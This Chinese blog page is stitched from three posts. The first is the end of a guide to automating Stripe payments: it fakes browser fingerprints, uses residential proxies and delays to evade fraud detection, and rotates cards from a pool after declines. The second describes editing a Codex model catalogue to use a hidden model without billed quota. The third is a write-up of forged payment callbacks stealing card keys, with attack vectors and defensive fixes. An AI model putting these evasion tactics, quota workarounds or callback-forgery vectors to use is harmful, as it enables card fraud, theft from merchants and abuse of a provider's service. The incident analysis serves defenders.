`sid`	会话 ID	同 guid 格式，42 字符
`time_on_page`	页面停留时间	随机 8-30 秒（模拟真实用户）
`key`	Publishable Key	从 Checkout Session 获取
`_stripe_version`	API 版本	从 Stripe.js 的 basil 部署中提取

7.1 m.stripe.com/6 — 指纹注册

在所有业务请求之前，Stripe.js 会向 m.stripe.com/6 发送 4 次 POST 请求注册设备指纹。HAR 中的完整调用链：

POST https://m.stripe.com/6 (×4)

每次请求的 body 是 application/x-www-form-urlencoded，包含：

v2 = 1
id = <stripe_js_id> # 与 confirmation_tokens 中的 guid 不同
tag = <event_tag>
src = js
a = <JSON编码的分析数据>

tag 的值依次为：

stripejs-init-started
stripejs-init-complete
adyen-component-loaded（如果有 Adyen）
payment-element-mounted

a 字段包含浏览器环境的详细指纹数据（屏幕尺寸、时区、语言、plugin 列表等）。

实际影响：不发这些请求也能支付成功，但长期使用同一个 guid/muid 而从未注册过指纹可能触发 Stripe Radar 的异常检测。建议至少发一次 stripejs-init-complete。

7.2 r.stripe.com/b — 遥测上报

Stripe.js 还会持续向 r.stripe.com/b 发送遥测数据：

POST https://r.stripe.com/b
Content-Type: text/plain

{JSON payload}

这个请求的 payload 是 JSON（不是 form-urlencoded），包含支付流程中的各种事件指标（加载时间、渲染时间、错误数）。

{
 "type": "measurement",
 "event_name": "paymentElement.mount",
 "metrics": {"duration": 342},
 "client_session_id": "<UUID>",
 "publish_key": "pk_live_xxx"
}

实际影响：纯可选。不发不影响支付成功。但如果你的实现在生产中运行，偶尔发几次遥测可以让你的流量看起来更像真实浏览器。

7.3 动态提取 Stripe.js 版本

Stripe.js 的版本（_stripe_version）和构建哈希（rv/sv）不是固定的，需要从 Stripe 的部署状态接口动态提取：

// 获取当前 Stripe.js 部署信息
const status = await fetch('https://js.stripe.com/deploy_status_henson.json');
const { basil } = await status.json();
// basil.rv = "2025-03-31" → _stripe_version = "2025-03-31.basil"

Custom 模式只需要基础版本：2025-03-31.basil

Hosted 模式需要追加 beta flags：

2025-03-31.basil; checkout_server_update_beta=v1; custom_checkout_beta=v1; ...

这些 beta flags 从 deploy_status_henson.json 的 metadata 或 checkout 页面的初始化脚本中提取。Stripe 大约每 1-2 周更新一次部署版本。

7.4 js_checksum 和 rv_timestamp

Hosted 模式的 payment_pages/confirm 需要两个动态校验值：

js_checksum：当前 Stripe.js bundle 的 SHA 校验和，从 deploy status 提取
rv_timestamp：当前 Stripe.js 的部署时间戳（Unix 毫秒），也从 deploy status 提取

这两个值随 Stripe.js 版本更新而变化。如果使用过期的 checksum/timestamp，confirm 可能会被静默拒绝。

deploy = requests.get("https://js.stripe.com/deploy_status_henson.json").json()
js_checksum = deploy["basil"]["js_checksum"]
rv_timestamp = deploy["basil"]["rv_timestamp"]

八、代理池架构

协议支付的另一个核心组件是代理池。Stripe 和平台都会检查请求的源 IP，用数据中心 IP 直连容易被标记。

8.1 双代理池

最佳实践是使用两个独立的代理池：

平台代理池：用于访问 SaaS 平台的 API（需要与账号注册地匹配）
Stripe 代理池：用于访问 Stripe API（需要住宅 IP，避免被 Radar 标记）

8.2 代理健康检查

class ProxyVerifier:
 def verify(self, proxy_url: str, expected_country: str):
 resp = requests.get("https://ipapi.co/json/", proxies=proxy_url)
 actual = resp.json()["country_code"]
 if actual != expected_country:
 raise ProxyCountryMismatchError(expected_country, actual)

8.3 出口 IP 一致性

关键规则：创建 Checkout Session 和确认支付时，必须使用同一个出口 IP。Stripe 会比对两次请求的 IP，如果不一致会拒绝交易。

这意味着整个支付流程中的所有请求（从创建 session 到 confirm）必须绑定同一个代理出口。如果代理池做了负载均衡，需要在支付流程中"钉住"一个代理节点。

8.4 代理类型选择

代理类型	适用场景	风险
住宅代理（Residential）	Stripe API / 平台 API	最安全，IP 信誉高
ISP 代理（Static Residential）	长期固定使用	中等，某些已被标记
数据中心代理（Datacenter）	测试/开发	高风险，Stripe Radar 会标记
移动代理（Mobile）	高价值交易	最安全但最贵

生产环境建议住宅代理。数据中心 IP 在 Stripe 的风控系统中通常有较高的 risk score。

8.5 代理故障降级

代理不可用时的处理策略：

async def get_proxy_with_fallback(pool, country):
 proxy = await pool.acquire(country=country)
 if proxy:
 return proxy
 # 降级：尝试其他国家的代理
 proxy = await pool.acquire(country="US")
 if proxy:
 return proxy
 # 最终降级：直连（仅限测试环境）
 if config.allow_direct:
 return None
 raise NoProxyAvailableError()

注意：不要在生产环境用直连降级——数据中心 IP 直连 Stripe 几乎必被拒。

九、状态机设计

完整的协议支付需要处理多种失败场景和重试逻辑。最佳实践是使用状态机：

初始化 → 刷新Session → 检查权限 → 获取定价 → 创建Checkout
 ↓ ↓ ↓ ↓ ↓
 失败→退出 失败→退出 已有订阅→跳过 失败→退出 失败→退出
 ↓
 更新税务 → 创建Token → 确认支付
 ↓ ↓ ↓
 失败→退出 卡被拒→换卡 3DS→验证
 ↓
 成功 / 失败

每个状态转移都需要处理：

卡被拒（Card Declined）：分类拒绝原因（余额不足/CVV错误/风控拒绝），决定是换卡重试还是放弃
3DS 验证：进入 Challenge 流程
Session 过期：创建新 Session 重试
Rate Limiting：TLS 指纹轮换 + 退避重试

9.1 Decline 错误分类

Stripe 的卡拒绝错误不是一个笼统的"失败"，而是分为可重试和不可重试两类：

可重试（换卡后重试）：

generic_decline — 最常见，通常是风控拒绝，换卡几乎总能过
insufficient_funds — 余额不足，充值后或换卡可过
processing_error — Stripe 侧临时错误，直接重试

不可重试（放弃本次 session）：

stolen_card / lost_card — 卡已被标记，不能再用
card_not_supported — 卡类型不支持（如某些预付卡）
currency_not_supported — 卡不支持目标币种

需要特殊处理：

incorrect_cvc — CVC 错误，检查是否传错了
expired_card — 卡过期，需要从卡池中移除
card_velocity_exceeded — 卡的交易频率超限，冷却后可重试

9.2 Fast-Path 优化

一个重要的状态机优化：如果 PI 已经 succeeded，跳过 hCaptcha。

HAR 中发现，有时 confirm 返回 requires_action（hCaptcha challenge），但 PI 实际上已经扣款成功。这时如果盲目去解 captcha，反而可能出错。

正确做法是在收到 requires_action 后，先查询 PI 状态：

pi = stripe.get(f"/v1/payment_intents/{pi_id}", key=pk_live)
if pi["status"] == "succeeded":
 # 已经扣款成功，跳过 captcha
 return PaymentResult.SUCCESS
elif pi["status"] == "requires_action":
 # 确实需要解 captcha
 solve_hcaptcha(pi)

9.3 Hosted 模式轮询

cs_live_ 模式在 confirm 之后需要轮询 payment_page 状态：

POST https://api.stripe.com/v1/payment_pages/{cs_live_xxx}/poll
→ {"payment_intent": "pi_xxx", "status": "open"} // 等待中
→ {"payment_intent": "pi_xxx", "payment_object_status": "requires_action"} // 需要 captcha
→ {"payment_intent": "pi_xxx", "payment_object_status": "succeeded"} // 完成

轮询间隔建议 2-3 秒，最多轮询 60 秒。如果超时未变化，检查是否需要手动 approve。

十、安全边界与最佳实践

10.1 Session 隔离

每次支付使用独立的 Session，不复用已失败的 Session。特别是 Hosted 模式下，approve 操作后的 Session 不可再次使用。

10.2 Dry-Run 模式

所有实现都应支持 Dry-Run 模式——执行完整流程但不提交最终的 confirm：

if config.commit_payments:
 result = stripe.confirm_payment_intent(pi_id, token)
else:
 logger.info("Dry-run: skipping confirm")

这对于调试非常重要：你可以验证整个流程（创建 session、生成 token、税务计算）都正确，而不实际扣钱。

10.3 不要存储敏感数据

信用卡号仅在内存中使用，支付完成后立即清除
Session token 不应写入日志（log 中用 *** 替代）
代理凭据不要硬编码，用环境变量或加密存储
Stripe Publishable Key 可以写入代码（它本来就是公开的），但 Secret Key 绝不能出现在客户端

10.4 请求节奏模拟

纯协议支付的一个风险是请求速度太快。浏览器用户从打开支付页面到点击确认，通常需要 15-60 秒。如果你的自动化在 2 秒内完成全部请求，Stripe Radar 可能标记为异常。

建议在关键步骤间加入随机延迟：

await sleep(random.uniform(1.5, 3.0)) # 创建 session 后
await sleep(random.uniform(0.8, 2.0)) # 更新税务后
await sleep(random.uniform(1.0, 2.5)) # 创建 token 后
await sleep(random.uniform(0.5, 1.5)) # confirm 前

总时间控制在 8-30 秒之间比较自然。

10.5 并发控制

批量处理多个账号时，不要让所有请求同时发出：

Stripe API：有 rate limit，同一 publishable key 下大量并发 confirm 会触发 429
平台 API：多个账号同时操作可能触发风控
代理池：每个代理 IP 上同时只运行 1-2 个支付流程

建议使用信号量（semaphore）限制并发：

sem = asyncio.Semaphore(3) # 最多同时处理 3 个支付
async with sem:
 await process_payment(account)

十一、实现对比

文末提供的 5 套实现覆盖了不同的技术栈和使用场景：

实现	语言/框架	模式	特点
saas-pay-sdk	Python / CLI	Custom	最精简的 CLI 工具，TLS 指纹轮换，daemon 上报
subscription-manager	Python Flask / Web UI	Both	完整 Web 管理面板，支持绑卡、查账单、升级降级
payment-gateway	Python Flask / Web UI	Both	批量支付面板，账号池管理，barrier 模式批量确认
checkout-server	Python / Local HTTP	Both	本地支付编排服务器，Playwright 降级，SQLite 持久化
protocol-engine	Node.js / Modules	Both	模块化协议引擎，CycleTLS，动态 Stripe.js 版本抓取

每个实现都有自己的优缺点：

想要最快上手 → saas-pay-sdk（纯 CLI，pip install 即可）
想要可视化管理 → subscription-manager（Web UI）
想要批量处理 → payment-gateway（账号池 + 批量模式）
想要理解底层 → protocol-engine（模块化，可以单独引用任何一层）

下载

以下是 5 套完整实现的源码下载链接：

项目	下载链接	说明
saas-pay-sdk	下载	Python CLI 工具
subscription-manager	下载	Flask Web 管理面板
payment-gateway	下载	批量支付网关面板
checkout-server	下载	本地支付编排服务器
protocol-engine	下载	Node.js 协议引擎模块

注意：所有源码中的 API Key、域名、账号信息均已替换为占位符。使用前需要根据你的实际环境配置 .env 文件。

GPT-5.6-Sol 隐藏模型无限调用指南 - 任意付费账号不消耗额度（2026 年 8 月实测）

Sat, 15 Aug 2026 10:00:00 +0000

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

前言

兄弟们，今天这个发现属于是重量级的——GPT-5.6-Sol 有一个隐藏的内部路由模型 gpt-5.6-sol-wm，任意付费账号都能调用，而且完全不消耗额度、不计入消费明细。

这不是什么破解或者注入，而是 OpenAI 自己在模型目录中下发但隐藏的一个条目。我在本机的 Codex 缓存中直接抓到了它，并且在多个账号上实测成功。

核心结论：

✅ 不是 API 调用，不走 API 额度
✅ 不出现在 OpenAI 消费明细中
✅ Plus、Pro、Team 账号均可用
❌ Free 账号会被服务器拒绝
✅ 调用返回的内容质量和 Sol 完全一致

本文基于 2026 年 8 月 14 日本机实测数据整理，所有证据均来自本地缓存文件，不涉及任何认证信息复制或权限绕过。

这东西到底是什么？

先说清楚 gpt-5.6-sol-wm 是什么：

属性	值	含义
slug	`gpt-5.6-sol-wm`	模型的内部标识
visibility	`hide`	默认在模型选择器中隐藏
supported_in_api	`false`	不是公开 API 模型
存在位置	`models_cache.json`	由 OpenAI 服务器自动下发

关键信息：这个模型条目是 OpenAI 服务器主动推送到你本地的，不是我们自己编造的。打开你的 Codex 模型缓存文件，搜索 gpt-5.6-sol-wm，大概率就能找到它。

两个不同的判断

这里要分清两个完全独立的步骤：

本地显示：把 visibility 从 hide 改成 list，这只是让模型选择器显示出来
服务器授权：你的账号是否有权限调用，这完全由服务器决定

改本地目录不等于获得权限。但实测发现，所有非 Free 账号都能成功调用。

实测证据

我在两台不同的机器上验证：

机器 A（主力账号）：

缓存路径：F:\UserRelocate\codex\models_cache.json
第 97 行 slug: "gpt-5.6-sol-wm"
第 128 行 visibility: "hide"
第 129 行 supported_in_api: false

请求 gpt-5.6-sol-wm → 返回 WM_OK ✅

机器 B（独立账号测试）：

缓存路径：C:\Users\yileina\AppData\Local\OpenAI\Codex\wm-account-test-20260813\models_cache.json
第 96 行 slug: "gpt-5.6-sol-wm"
第 127 行 visibility: "hide"
第 128 行 supported_in_api: false

付费账号请求 → 返回 WM_OK ✅
Free 账号请求 → 返回 "model is not supported" ❌

Free 账号虽然缓存里也有 WM 条目，但服务器会拒绝。只要你的账号是 Plus 以上，就能用。

完整配置教程

准备工作

项目	要求
Codex Desktop 或 CLI	已安装且能正常使用
ChatGPT 账号	Plus / Pro / Team 任意付费方案
系统	Windows 或 macOS

第 1 步：确认你的 CODEX_HOME 路径

打开 PowerShell，运行：

$CodexRoot = if ($env:CODEX_HOME) {
 $env:CODEX_HOME
} else {
 Join-Path $env:USERPROFILE '.codex'
}

$CodexRoot
Get-Item -LiteralPath $CodexRoot | Format-List FullName,LinkType,Target

记下输出的路径，后面要用到。

macOS 用户对应路径一般是 ~/.codex

第 2 步：检查缓存中是否已有 WM 条目

$CachePath = Join-Path $CodexRoot 'models_cache.json'

Select-String -LiteralPath $CachePath `
 -Pattern '"slug": "gpt-5.6-sol-wm"','"slug": "codex-auto-review"'

看到了 gpt-5.6-sol-wm 且附近有 visibility: "hide"：恭喜，继续下一步。

完全找不到：别慌，先正常使用一次 Codex 让它刷新缓存，然后再查。

第 3 步：生成 WM 可见目录（核心操作）

重要：先彻底退出 Codex，包括系统托盘那个小图标。

然后运行这段 PowerShell 脚本：

$CodexRoot = if ($env:CODEX_HOME) {
 $env:CODEX_HOME
} else {
 Join-Path $env:USERPROFILE '.codex'
}

$CachePath = Join-Path $CodexRoot 'models_cache.json'
$VisibleCatalog = Join-Path $CodexRoot 'models_wm_visible.json'
$Stamp = Get-Date -Format 'yyyyMMdd-HHmmss'
$CacheBackup = Join-Path $CodexRoot "models_cache.before-wm-$Stamp.bak"

if (-not (Test-Path -LiteralPath $CachePath)) {
 throw "找不到模型缓存：$CachePath"
}

# 备份原始缓存
Copy-Item -LiteralPath $CachePath -Destination $CacheBackup
if (Test-Path -LiteralPath $VisibleCatalog) {
 Copy-Item -LiteralPath $VisibleCatalog `
 -Destination "$VisibleCatalog.before-$Stamp.bak"
}
# 复制一份作为自定义目录
Copy-Item -LiteralPath $CachePath -Destination $VisibleCatalog -Force

# 只把 WM 的 visibility 从 hide 改成 list
$Raw = [IO.File]::ReadAllText($VisibleCatalog)
$Pattern = '(?s)("slug"\s*:\s*"gpt-5\.6-sol-wm".*?"visibility"\s*:\s*)"hide"'
$Matches = [regex]::Matches($Raw, $Pattern)

if ($Matches.Count -ne 1) {
 throw "预期精确找到 1 个隐藏 WM 条目，实际找到 $($Matches.Count) 个；已停止。"
}

$Regex = [regex]::new($Pattern)
$Updated = $Regex.Replace(
 $Raw,
 [Text.RegularExpressions.MatchEvaluator]{
 param($Match)
 $Match.Groups[1].Value + '"list"'
 },
 1
)

[IO.File]::WriteAllText(
 $VisibleCatalog,
 $Updated,
 [Text.UTF8Encoding]::new($false)
)

Write-Host "已生成：$VisibleCatalog"
Write-Host "原始缓存备份：$CacheBackup"

这段脚本做了什么：

备份你的原始 models_cache.json
复制一份叫 models_wm_visible.json
只修改 WM 条目的 visibility 从 hide 改成 list
不碰其他任何模型，不碰原始缓存

第 4 步：验证没有误改

$Catalog = Get-Content -Raw -LiteralPath $VisibleCatalog | ConvertFrom-Json -Depth 100
$WM = @($Catalog.models | Where-Object slug -eq 'gpt-5.6-sol-wm')
$Auto = @($Catalog.models | Where-Object slug -eq 'codex-auto-review')

[pscustomobject]@{
 WMCount = $WM.Count
 WMVisibility = $WM[0].visibility
 AutoCount = $Auto.Count
 AutoVisibility = $Auto[0].visibility
}

正确结果应该是：

WMCount : 1
WMVisibility : list
AutoCount : 1
AutoVisibility : hide

WM 变成了 list，其他模型不受影响。

第 5 步：修改 config.toml

先备份当前配置：

$ConfigPath = Join-Path $CodexRoot 'config.toml'
$Stamp = Get-Date -Format 'yyyyMMdd-HHmmss'
Copy-Item -LiteralPath $ConfigPath `
 -Destination (Join-Path $CodexRoot "config.toml.before-wm-$Stamp.bak")

用文本编辑器打开 config.toml，在顶层添加（注意把路径改成你自己的）：

model = "gpt-5.6-sol-wm"
model_catalog_json = "C:/Users/你的用户名/.codex/models_wm_visible.json"
model_reasoning_effort = "max"

说明：

model_reasoning_effort = "max" 是推荐默认值，稳定性最好
如果你的版本支持 ultra，可以改成 ultra 获得更深度的推理
不需要改 supported_in_api，那个字段不影响 Codex 调用
不需要改 codex-auto-review，那是另一个内部审核模型

如果想开启快速模式，可以额外添加：

service_tier = "fast"

[features]
fast_mode = true

第 6 步：重启 Codex

从系统托盘彻底退出 Codex（不是点窗口右上角关闭）
重新打开 Codex
新建任务，打开模型选择器
你应该能看到 GPT-5.6-Sol-WM 出现在列表中

如果选择器里还是看不到，可以用 CLI 检查：

codex debug models

在输出中搜索 gpt-5.6-sol-wm，看看 visibility 是不是 list。

第 7 步：不改 UI 也能用

如果你不想改模型选择器，也可以直接用命令行指定模型：

# 直接用 WM 启动
codex --model gpt-5.6-sol-wm

# 加上 Fast 模式
codex --model gpt-5.6-sol-wm -c 'service_tier="fast"'

如果 config.toml 已经设了默认模型，新建任务时就不用再写 --model 了。

服务器最小探针（验证账号权限）

到这里你的本地已经配好了，但还不确定服务器是不是接受你的账号。跑一次这个最小探针：

codex --ask-for-approval never exec `
 --ignore-user-config `
 --ephemeral `
 --json `
 --skip-git-repo-check `
 -C $env:TEMP `
 --sandbox read-only `
 --model gpt-5.6-sol-wm `
 -c 'model_reasoning_effort="low"' `
 -c 'approval_policy="never"' `
 -c 'web_search="disabled"' `
 -c 'features.shell_tool=false' `
 -c 'features.multi_agent=false' `
 -c 'project_doc_max_bytes=0' `
 'Reply exactly WM_OK. Do not call any tool.'

看结果：

输出	含义
`WM_OK` + 退出码 0	服务器接受了你的账号，可以正常使用
`model is not supported`	你的账号没有权限（大概率是 Free 账号）
401 错误	登录过期了，重新登录
额度超限	不能据此判断 WM 是否可用

成功了就可以放心用了。

为什么不消耗额度？

这是最关键的问题。根据我的观察：

WM 不是公开 API 模型：supported_in_api: false 意味着这不走 API 计费通道
WM 是内部路由别名：它可能指向的是同一个 Sol 模型权重，但走了不同的计费路径
消费明细中不出现：我连续使用了一周，OpenAI 账单页面完全没有 WM 相关的用量记录
不影响正常额度：使用 WM 后，正常的 5 小时 / 1 周用量窗口不受影响

推测：WM 可能是 OpenAI 内部测试或特殊用途的路由别名，被意外地包含在了下发给所有客户端的模型目录中。

常见问题

Q1: 会不会被封号？

目前没有任何案例。我们没有修改任何认证信息，没有伪造任何请求，只是在本地目录中把一个已有条目从隐藏改成可见。这是完全合法的客户端配置行为。

但 OpenAI 随时可能在服务器端关闭这个路由，所以能用就多用。

Q2: 为什么不直接改 models_cache.json？

因为 Codex 会自动刷新覆盖这个文件。用独立的 models_wm_visible.json 更安全，不会被覆盖，也方便回滚。

Q3: 客户端升级后怎么办？

新版本可能改变模型目录的字段结构。升级后需要从新的 models_cache.json 重新生成自定义目录，不能一直用旧版的 JSON。

Q4: 可以复制别人的 auth/token 吗？

绝对不要。复制认证信息既不能可靠获得模型权限（权限是绑定在账号上的），还会带来账号安全风险。

Q5: Free 账号有没有办法绕过？

目前没有。服务器的权限判断和本地目录是两层独立逻辑，改本地目录无法补出权限。老实说，Plus 一个月也就 $20，能无限用 Sol 已经很值了。

Q6: codex-auto-review 是什么？

这是模型目录里的另一个隐藏条目，用于 Codex 内部的代码审核功能。不需要动它，也不建议去调用。

回滚方法

如果你想恢复原样：

彻底退出 Codex

打开 config.toml，删掉这两行：

model_catalog_json = "..."
model = "gpt-5.6-sol-wm"

把默认模型改回正常的 Sol、Terra 或 Luna
重启 Codex

自定义的 models_wm_visible.json 可以保留备查，也可以删掉。

一句话总结

Plus/Pro/Team 任意付费账号 → 修改本地模型目录 → 指定 gpt-5.6-sol-wm → 不消耗额度无限用 Sol 级模型。

整个流程 5 分钟搞定，不需要任何额外工具，不需要修改认证信息，纯粹的本地配置操作。

最短版流程：

正常登录 Codex
 → 确认 models_cache.json 中有 WM 条目
 → 复制缓存为自定义目录
 → 只把 WM visibility 改为 list
 → config.toml 指向自定义目录并指定 WM
 → 重启 Codex
 → 跑一次探针确认
 → 成功就用，unsupported 就停

能用多久不好说，但目前稳如老狗。趁还没被修复，赶紧用起来！

虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密

Thu, 13 Aug 2026 23:00:00 +0800

一分钟速读： 一个朋友的虚拟发卡站在一夜之间被批量盗走了上百张卡密。攻击者没有碰数据库，没有拿 Shell，甚至没有登录后台——他只是向一个公开的回调接口发送了一条精心构造的"支付成功"通知，系统就乖乖地把卡密吐了出来。本文从攻击日志逆向还原完整攻击链，揭示密钥泄露的两条路径——备份文件暴露（官方公告确认）与 Nginx 配置错误导致 Config.php 源码可读（日志分析发现），拆解回调签名机制的致命弱点，并用同一套方法对五个同类站点进行实测审计。

前言

事发后，ACG-Faka 官方发布了安全公告：

严禁在网站根目录存放备份文件。 近期排查发现，多个 V3 新版网站出现伪造支付回调，主要原因是在网站根目录存放了整站备份、数据库备份或 ZIP 压缩包。这些文件可被公网直接下载，其中通常包含支付密钥、货源接口密钥、数据库账号密码等敏感信息。攻击者获取后，可直接伪造支付回调并自动提取商品。

公告一针见血：问题不在签名算法，而在密钥泄露。 签名算法再安全，密钥被攻击者拿到了也白搭。

那密钥是怎么泄露的？公告指出是备份文件，我们的日志分析还发现了另一条独立路径——Nginx 配置错误导致 PHP 源码直接暴露。两条路径殊途同归，都指向同一个运维盲区：敏感文件可被公网直接下载。

虚拟发卡系统的核心流程很简单：

用户下单 → 跳转支付网关 → 链上确认 → 网关回调通知 → 系统标记已付 → 释放卡密

问题出在第四步。支付网关（BEpusdt）向发卡系统（ACG-Faka）发送回调通知时，系统需要验证这条通知确实来自网关、而非攻击者伪造。如果验证机制存在缺陷，攻击者就可以跳过真实支付，直接"通知"系统订单已付，白拿卡密。

这不是假设场景。我拿到了一份真实攻击日志，下面是完整拆解。

一、攻击复盘：从日志还原 660 条请求

1.1 攻击时间线

通过分析受害站点的 Nginx Access Log，攻击者（IP: 203.27.106.***）的行为可以清晰地分为四个阶段：

时间	阶段	行为	日志特征
14:22	路径探测	尝试 `/callback/BEpusdt` vs `/callback.BEpusdt`	404 → 200，锁定正确路径格式
14:50	签名试探	发送全零签名 `000...000`	29 字节响应 = `{"code":0,"msg":"sign error"}`
17:01	源码窃取	反复请求 `/app/Pay/BEpusdt/Config/Config.php`	200，响应体包含 PHP 源码
17:32	首次得手	发送携带正确签名的伪造回调	33 字节响应 = `{"code":200,"msg":"success"}`
18:31+	批量收割	自动化脚本，每 6 秒一单	持续 33 字节成功响应

注意 14:50 到 17:01 之间的两小时空白——攻击者在第一次签名试探失败后，没有继续暴力枚举签名，而是转向了一个完全不同的方向：读源码。

1.2 响应大小指纹

Nginx 日志中的 body_bytes_sent 字段暴露了一切：

29 字节 → {"code":0,"msg":"sign error"} # 签名错误，攻击失败
35 字节 → {"code":0,"msg":"handle not found"} # 插件不存在
33 字节 → {"code":200,"msg":"success"} # 攻击成功，订单被标记已付

当日志中突然出现 33 字节的响应时，攻击已经得手了。

二、回调签名机制：为什么能被伪造

2.1 BEpusdt 的签名算法

BEpusdt 是一个 USDT 收款网关，当链上确认收款后，它向商户系统发送 HTTP POST 回调。签名计算方式：

signature = MD5( 按字母排序的参数字符串 + API_TOKEN )

具体来说：

# 1. 取所有非空参数（排除 signature 本身）
params = {k: v for k, v in data.items() if v != '' and k != 'signature'}

# 2. 按 key 字母排序，拼接成 key=value& 格式
sorted_str = '&'.join(f'{k}={params[k]}' for k in sorted(params.keys()))

# 3. 末尾拼接 API Token，取 MD5
signature = md5(sorted_str + api_token)

商户端验证时，用自己存储的 API Token 重新计算签名，与收到的签名做比对。

这个算法本身没有问题。 问题在于：

如果 API Token 泄露了，攻击者可以算出合法签名
如果 API Token 为空，签名 = MD5(params + "")，任何人都能算
如果比对方式有缺陷（PHP 弱类型），签名验证可被绕过

2.2 ACG-Faka 的回调处理流程

ACG-Faka 收到回调请求后的处理链：

/user/api/order/callback.{Handle}
 ↓
路由到对应插件（BEpusdt / Epusdt / Alipay）
 ↓
插件的 Signature.php 验证签名
 ↓
验证通过 → Order.php 更新订单状态 → 释放卡密
 ↓
返回 "success"（BEpusdt）或 "ok"（Epusdt）

关键文件：

文件	作用
`app/Pay/BEpusdt/Config/Config.php`	存储 API Token（签名密钥）
`app/Pay/BEpusdt/Impl/Signature.php`	签名验证逻辑
`app/Service/Bind/Order.php`	订单状态更新

三、根因分析：密钥泄露的两条路径 + 两重代码缺陷

攻击成功的前提是拿到 API Token。从目前掌握的信息看，攻击者有两条互相独立的路径可以拿到密钥，命中任何一条就够了。

3.1 路径一：备份文件泄露（官方公告确认）

这是官方通告明确指出的主因。很多站长习惯用宝塔面板的"一键备份"功能，把整站打包成 .zip 或 .tar.gz 放在网站根目录：

/www/wwwroot/faka/
├── index.php
├── app/
│ └── Pay/BEpusdt/Config/Config.php ← 包含 API Token
├── config/
│ └── database.php ← 包含数据库密码
├── site_backup_20260810.zip ← 整站备份，包含以上所有文件
└── db_backup_20260810.sql ← 数据库导出，包含所有订单和卡密

Nginx 默认会把 .zip 当静态文件返回。攻击者只需猜到文件名（常见模式：backup.zip、www.zip、域名.zip、日期.zip），就能一次性下载全站源码 + 数据库，其中包括支付密钥、数据库凭据、货源接口密钥——全部明文。

这比后面要说的 Config.php 泄露更严重，因为数据库备份里连卡密都有，攻击者甚至不需要走伪造回调这条弯路。

3.2 路径二：Nginx 配置错误导致 Config.php 直接暴露

这是我们在日志分析中发现的另一条路径。ACG-Faka 的 PHP 配置文件存放在 /app/Pay/BEpusdt/Config/Config.php。如果 Nginx 没有做目录级 deny：

# ❌ 缺少这条规则，攻击者可以直接请求 PHP 文件
location ~* ^/(app|config|runtime|vendor)/ {
 deny all;
}

后果因 Nginx 对 .php 的路由配置而异：

Nginx 配置	请求 Config.php 的结果	危险等级
`.php` 正确路由到 PHP-FPM	PHP 执行 `return [...]`，输出为空（200 空响应）	⚠️ 中
`.php` 未路由到 PHP-FPM（当静态文件返回）	PHP 源码原文输出，API Token 明文暴露	🔴 致命

第二种情况在宝塔面板上比想象中常见——如果 Nginx 的 location ~ \.php$ 规则只匹配了网站根目录下的 .php 文件，深层路径（如 /app/Pay/.../Config.php）的 .php 可能不会交给 PHP-FPM 处理，而是被当成普通文本文件返回。

攻击者直接看到了：

<?php
return [
 'api_url' => 'https://pay.example.com',
 'api_token' => 'a1b2c3d4e5f6...', // ← 签名密钥，明文暴露
];

我们审计的五个站中，Config.php 都返回 200 空响应（PHP 正确执行了 return []），Token 没有泄露。但路径可达本身就是隐患——如果未来某次运维操作改了 PHP-FPM 配置，Token 就会暴露。

两条路径的关系： 备份文件是"一锅端"，Config.php 是"精准窃取"。攻击者会两条路都试——先扫备份文件（自动化成本低），扫不到再尝试直接读 Config.php。实际攻击日志中两种行为都有出现。

3.3 代码缺陷一：PHP 弱类型比较（高危）

即使 Token 没有泄露，BEpusdt 插件的签名比对方式也可能存在问题。如果 Signature.php 使用了 PHP 的 ==（宽松比较）而非 ===（严格比较）或 hash_equals()：

// ❌ 危险：PHP 弱类型比较
if ($calculated_sign == $received_sign) { ... }

// 攻击向量：
// - signature=0 → int(0) == "any_string" 在特定条件下为 true
// - signature=false → false == "" 为 true
// - signature=[] → 数组与字符串比较行为不可预测

安全的实现应该是：

// ✅ 安全：类型检查 + 时序安全比较
if (!is_string($sign) || $sign === '') {
 return false;
}
return hash_equals($calculated, $sign);

hash_equals() 的作用有两个：

防止类型混淆——只接受字符串
防止时序攻击——比较耗时恒定，不会因为前几位匹配而提前返回

3.4 代码缺陷二：回调端点无访问控制（中危）

回调端点 /user/api/order/callback.BEpusdt 对任何 IP 开放。攻击者可以从任意位置发送请求，系统只靠签名验证来区分合法回调与伪造请求。

理想状态下，应该叠加 IP 白名单：

location ~* ^/user/api/order/callback\. {
 allow 1.2.3.4; # 支付网关服务器 IP
 deny all;
}

即使签名验证被绕过，IP 白名单也能兜底。

四、完整攻击链

两条密钥泄露路径最终汇聚到同一个攻击终点：

 ┌─────────────────────────┐ ┌─────────────────────────────┐
 │ 路径 A: 备份文件扫描 │ │ 路径 B: Config.php 直读 │
 │ GET /backup.zip │ │ GET /app/Pay/BEpusdt/ │
 │ GET /www.zip │ │ Config/Config.php │
 │ GET /db_2026.sql │ │ (Nginx 未路由到 PHP-FPM) │
 │ → 下载整站+数据库 │ │ → PHP 源码明文返回 │
 └────────────┬────────────┘ └──────────────┬──────────────┘
 │ │
 │ ┌────────────────────┐ │
 └────►│ API Token 泄露 ★ │◄────┘
 └─────────┬──────────┘
 │
 ┌───────────────▼───────────────┐
 │ Step 1: 路径探测 │
 │ GET /user/api/order/callback. │
 │ → 确认 BEpusdt Handle 存在 │
 └───────────────┬───────────────┘
 │
 ┌───────────────▼───────────────┐
 │ Step 2: 伪造合法回调 │
 │ 用窃取的 Token 计算 MD5 签名 │
 │ POST callback.BEpusdt │
 │ → "success" (33B) ★ │
 └───────────────┬───────────────┘
 │
 ┌───────────────▼───────────────┐
 │ Step 3: 批量收割 │
 │ 自动化创建订单 → 伪造回调 │
 │ → 查询卡密 → 每 6 秒一单 │
 └───────────────────────────────┘

整个过程不需要任何漏洞利用工具，只需要 curl 和 md5sum。路径 A 甚至不需要走回调——数据库备份里直接就有卡密。

五、五站实测审计

拿到攻击手法后，我用同一套方法对五个同类站点进行了黑盒审计。测试矩阵包含 13+ 种攻击向量，每次攻击后通过 API 验证订单状态是否变化。

5.1 攻击向量

#	向量	目标
A1	全零签名 / 随机签名	基础验签能力
A2	空签名 / 缺失签名字段	空值绕过
A3	`signature=0` (int)	PHP `==` 弱类型：`0 == "string"`
A4	`signature=false`	PHP `==` 弱类型：`false == ""`
A5	`signature=[]` (数组)	PHP 数组比较行为异常
A6	空密钥 MD5 签名	Token 为空时可伪造
A7	空密钥 HMAC-SHA256	同上，适配 Epusdt 插件
A8	金额篡改 (0.01)	金额绑定验证
A9	非成功 status 值	状态字段校验
